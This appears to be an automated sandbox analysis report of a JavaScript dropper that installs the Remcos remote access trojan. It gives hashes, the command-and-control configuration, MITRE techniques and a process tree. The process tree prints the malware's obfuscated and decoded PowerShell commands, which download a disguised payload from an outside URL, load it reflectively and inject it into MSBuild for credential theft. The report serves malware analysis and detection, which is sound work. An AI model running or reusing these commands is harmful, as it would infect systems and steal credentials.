remcos | 39a5746e7ea980faf5eee9bfdbd11d96466f24afddf634d7050dd893acb3ad4f

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11-12-2024 02:27

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General

Target

39a5746e7ea980faf5eee9bfdbd11d96466f24afddf634d7050dd893acb3ad4f.js
Size

9KB
MD5

1b6d2103d7dab7301d982d0f7854acab
SHA1

9275b6b0f62f6ffc5185f8227f7cf511e51ffec4
SHA256

39a5746e7ea980faf5eee9bfdbd11d96466f24afddf634d7050dd893acb3ad4f
SHA512

e104f94649b7cadc28ab30fe1fa82ea03095dcac12f06e1e1e35baed587dfad1f4064c79d8ac2fe01e1fcc3c20c672e6545ce513c1196f0a2079b5c24f740c33
SSDEEP

96:XrdDvmf58omujIk9KY8k6z8kvhSxkgg+6vmfgxmKgK1yUApzuhnqib9Nczvmfymb:tm1muXYm6Lbgg+gm6mc1mNVibXemKmFB

Score

10^/10

remcos remotehost collection discovery execution rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

RemoteHost

160.25.73.25:6426

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M1KUA1
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3628-56-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/1860-57-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2712-55-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1860-57-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3628-56-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	4940	wscript.exe
8	4940	wscript.exe
10	4940	wscript.exe
23	712	powershell.exe
25	712	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3992	powershell.exe
712	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	cscript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	MSBuild.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 712 set thread context of 1520	712	powershell.exe	87
PID 1520 set thread context of 3628	1520	MSBuild.exe	92
PID 1520 set thread context of 1860	1520	MSBuild.exe	94
PID 1520 set thread context of 2712	1520	MSBuild.exe	96

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3992	powershell.exe
3992	powershell.exe
712	powershell.exe
712	powershell.exe
3628	MSBuild.exe
3628	MSBuild.exe
2712	MSBuild.exe
2712	MSBuild.exe
3628	MSBuild.exe
3628	MSBuild.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
1520	MSBuild.exe
1520	MSBuild.exe
1520	MSBuild.exe
1520	MSBuild.exe
1520	MSBuild.exe
1520	MSBuild.exe
1520	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3992	powershell.exe
Token: SeDebugPrivilege	712	powershell.exe
Token: SeDebugPrivilege	2712	MSBuild.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1520	MSBuild.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 4940 wrote to memory of 464	4940	wscript.exe	82
PID 4940 wrote to memory of 464	4940	wscript.exe	82
PID 464 wrote to memory of 3992	464	cscript.exe	84
PID 464 wrote to memory of 3992	464	cscript.exe	84
PID 3992 wrote to memory of 712	3992	powershell.exe	86
PID 3992 wrote to memory of 712	3992	powershell.exe	86
PID 712 wrote to memory of 1520	712	powershell.exe	87
PID 712 wrote to memory of 1520	712	powershell.exe	87
PID 712 wrote to memory of 1520	712	powershell.exe	87
PID 712 wrote to memory of 1520	712	powershell.exe	87
PID 712 wrote to memory of 1520	712	powershell.exe	87
PID 712 wrote to memory of 1520	712	powershell.exe	87
PID 712 wrote to memory of 1520	712	powershell.exe	87
PID 712 wrote to memory of 1520	712	powershell.exe	87
PID 712 wrote to memory of 1520	712	powershell.exe	87
PID 712 wrote to memory of 1520	712	powershell.exe	87
PID 1520 wrote to memory of 4164	1520	MSBuild.exe	90
PID 1520 wrote to memory of 4164	1520	MSBuild.exe	90
PID 1520 wrote to memory of 4164	1520	MSBuild.exe	90
PID 1520 wrote to memory of 2980	1520	MSBuild.exe	91
PID 1520 wrote to memory of 2980	1520	MSBuild.exe	91
PID 1520 wrote to memory of 2980	1520	MSBuild.exe	91
PID 1520 wrote to memory of 3628	1520	MSBuild.exe	92
PID 1520 wrote to memory of 3628	1520	MSBuild.exe	92
PID 1520 wrote to memory of 3628	1520	MSBuild.exe	92
PID 1520 wrote to memory of 3628	1520	MSBuild.exe	92
PID 1520 wrote to memory of 3876	1520	MSBuild.exe	93
PID 1520 wrote to memory of 3876	1520	MSBuild.exe	93
PID 1520 wrote to memory of 3876	1520	MSBuild.exe	93
PID 1520 wrote to memory of 1860	1520	MSBuild.exe	94
PID 1520 wrote to memory of 1860	1520	MSBuild.exe	94
PID 1520 wrote to memory of 1860	1520	MSBuild.exe	94
PID 1520 wrote to memory of 1860	1520	MSBuild.exe	94
PID 1520 wrote to memory of 3784	1520	MSBuild.exe	95
PID 1520 wrote to memory of 3784	1520	MSBuild.exe	95
PID 1520 wrote to memory of 3784	1520	MSBuild.exe	95
PID 1520 wrote to memory of 2712	1520	MSBuild.exe	96
PID 1520 wrote to memory of 2712	1520	MSBuild.exe	96
PID 1520 wrote to memory of 2712	1520	MSBuild.exe	96
PID 1520 wrote to memory of 2712	1520	MSBuild.exe	96

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\39a5746e7ea980faf5eee9bfdbd11d96466f24afddf634d7050dd893acb3ad4f.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4940
- C:\Windows\System32\cscript.exe
  "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\exchange.js
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $maremme = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJAB1AG4AcABhAHQAYwBoAGUAZAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAcgBvAHAAdABvAHMAZQBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGIAZQBsAGkAdAB0AGwAZQByAHMAIAA9ACAAJABwAHIAbwBwAHQAbwBzAGUAcwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1AG4AcABhAHQAYwBoAGUAZAApADsAJABuAG8AbgBhAG0AYgBpAGcAdQBvAHUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAZQBsAGkAdAB0AGwAZQByAHMAKQA7ACQAYQBwAG8AcABoAHkAcwBlAGEAbAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAcABvAGwAeQBtAGUAcgBpAGMAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAbQBpAHMAYQBnAGUAbgB0ACAAPQAgACQAbgBvAG4AYQBtAGIAaQBnAHUAbwB1AHMALgBJAG4AZABlAHgATwBmACgAJABhAHAAbwBwAGgAeQBzAGUAYQBsACkAOwAkAGEAbABkAG8AbABhAHMAZQBzACAAPQAgACQAbgBvAG4AYQBtAGIAaQBnAHUAbwB1AHMALgBJAG4AZABlAHgATwBmACgAJABwAG8AbAB5AG0AZQByAGkAYwApADsAJABtAGkAcwBhAGcAZQBuAHQAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABhAGwAZABvAGwAYQBzAGUAcwAgAC0AZwB0ACAAJABtAGkAcwBhAGcAZQBuAHQAOwAkAG0AaQBzAGEAZwBlAG4AdAAgACsAPQAgACQAYQBwAG8AcABoAHkAcwBlAGEAbAAuAEwAZQBuAGcAdABoADsAJABwAHQAZQByAGkAZABvAGwAbwBnAGkAcwB0AHMAIAA9ACAAJABhAGwAZABvAGwAYQBzAGUAcwAgAC0AIAAkAG0AaQBzAGEAZwBlAG4AdAA7ACQAZgBhAHQAcwBoAGUAZABlAHIAYQBzACAAPQAgACQAbgBvAG4AYQBtAGIAaQBnAHUAbwB1AHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAbQBpAHMAYQBnAGUAbgB0ACwAIAAkAHAAdABlAHIAaQBkAG8AbABvAGcAaQBzAHQAcwApADsAJABvAHYAZQByAGEAZwBnAHIAZQBzAHMAaQB2AGUAIAA9ACAALQBqAG8AaQBuACAAKAAkAGYAYQB0AHMAaABlAGQAZQByAGEAcwAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAZgBhAHQAcwBoAGUAZABlAHIAYQBzAC4ATABlAG4AZwB0AGgAKQBdADsAJABjAHIAbwBuAHkAaQBzAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbwB2AGUAcgBhAGcAZwByAGUAcwBzAGkAdgBlACkAOwAkAGUAdABoAHkAbgB5AGwAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwByAG8AbgB5AGkAcwBtACkAOwAkAG0AYQBuAGcAYQBiAGkAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQA7ACQAbQBhAG4AZwBhAGIAaQBlAHMALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAQAAoACcAMAAvAGMANgBrADYAVgAvAHIALwBlAGUALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoACcALAAgACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACAAJwBjAGgAZQBjAGsAZQByAGIAbwBhAHIAZAAnACwAIAAnAGMAaABlAGMAawBlAHIAYgBvAGEAcgBkACcALAAgACcATQBTAEIAdQBpAGwAZAAnACwAIAAnAGMAaABlAGMAawBlAHIAYgBvAGEAcgBkACcALAAgACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAMQAnACwAJwBjAGgAZQBjAGsAZQByAGIAbwBhAHIAZAAnACkAKQA7AGkAZgAgACgAJABuAHUAbABsACAALQBuAGUAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAgAC0AYQBuAGQAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABbAHYAbwBpAGQAXQAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2AGUAcgBzAGkAbwBuACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAnACAAfQA7AGkAZgAgACgAJABuAHUAbABsACAALQBuAGUAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAgAC0AYQBuAGQAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABbAHYAbwBpAGQAXQAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2AGUAcgBzAGkAbwBuACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAnACAAfQA7AA==';$confidentially = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($maremme));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $confidentially
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$unpatched = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$proptoses = New-Object System.Net.WebClient;$belittlers = $proptoses.DownloadData($unpatched);$nonambiguous = [System.Text.Encoding]::UTF8.GetString($belittlers);$apophyseal = '<<BASE64_START>>';$polymeric = '<<BASE64_END>>';$misagent = $nonambiguous.IndexOf($apophyseal);$aldolases = $nonambiguous.IndexOf($polymeric);$misagent -ge 0 -and $aldolases -gt $misagent;$misagent += $apophyseal.Length;$pteridologists = $aldolases - $misagent;$fatshederas = $nonambiguous.Substring($misagent, $pteridologists);$overaggressive = -join ($fatshederas.ToCharArray() | ForEach-Object { $_ })[-1..-($fatshederas.Length)];$cronyism = [System.Convert]::FromBase64String($overaggressive);$ethynyl = [System.Reflection.Assembly]::Load($cronyism);$mangabies = [dnlib.IO.Home].GetMethod('VAI');$mangabies.Invoke($null, @('0/c6k6V/r/ee.etsap//:sptth', 'checkerboard', 'checkerboard', 'checkerboard', 'MSBuild', 'checkerboard', 'checkerboard','checkerboard','checkerboard','checkerboard','checkerboard','checkerboard','1','checkerboard'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:712
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1520
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\tumejyrvumkzzzr"
        6⤵
        
        PID:4164
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\tumejyrvumkzzzr"
        6⤵
        
        PID:2980
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\tumejyrvumkzzzr"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3628
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\wprwkrkoiucejffwsp"
        6⤵
        
        PID:3876
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\wprwkrkoiucejffwsp"
        6⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:1860
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\grwhkjuqwcuiltbajanvy"
        6⤵
        
        PID:3784
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\grwhkjuqwcuiltbajanvy"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
bc58e59a497ee3a16e2d866fdd802b92

SHA1
31cc15e921396b56c7c37f47ae924bede86a1706

SHA256
ff43945d8fdf6a42ae7b24904bd0e22f0903783b4f32b5d6443d38c7ec6dd01b

SHA512
f43e300de1c50ac958f65f37a08bbcf1316db2c22be70f249c3619c18ffd68f82f61310bc776fc5350b1bc8acabe6b1ef12362705f67965b6a0f57a695a873fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m25fkypx.el3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\exchange.js

Filesize
153KB

MD5
001a26494789ece37db34f725a2bcbe5

SHA1
db3561ecc3fad709787d8618b4879af4ee09d731

SHA256
25240ce1dfc3892f0c9ee996011234439f49e6c686d61694744003f5be0cb5d5

SHA512
1bc9c27f7b48b4b10e631bfa5950ea1001bbad18cc2144b3b6196fb2d2cd1781bdf522e4cd2e1bc6ad7412760e85d3d17747ef6eda89e1b3f632bbdaf7e3fc4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tumejyrvumkzzzr

Filesize
4KB

MD5
f1d2c01ce674ad7d5bad04197c371fbc

SHA1
4bf0ed04d156a3dc6c8d27e134ecbda76d3585aa

SHA256
25b006032deccd628940ef728fffe83b325a85de453a34691f55f570e4460094

SHA512
81cb982cc33dcc27600a8a681c3ec3cc5b9221b95baa45e1ab24479745a9638b9f31d7beeeb1128b3294ff69b44e958c75e25d565f66790c364665caff96ee77

Download Submit
memory/712-30-0x00000195D8580000-0x00000195D86D8000-memory.dmp

Filesize
1.3MB

Download
memory/1520-67-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1520-69-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-41-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-42-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-43-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-44-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-45-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-46-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-48-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-99-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-98-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-91-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-90-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-83-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-82-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-75-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-74-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-38-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-34-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-64-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1520-31-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1520-68-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1860-57-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1860-52-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1860-50-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2712-55-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2712-53-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2712-51-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3628-54-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3628-56-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3628-49-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3992-20-0x000001E2FAAD0000-0x000001E2FAAF2000-memory.dmp

Filesize
136KB

Download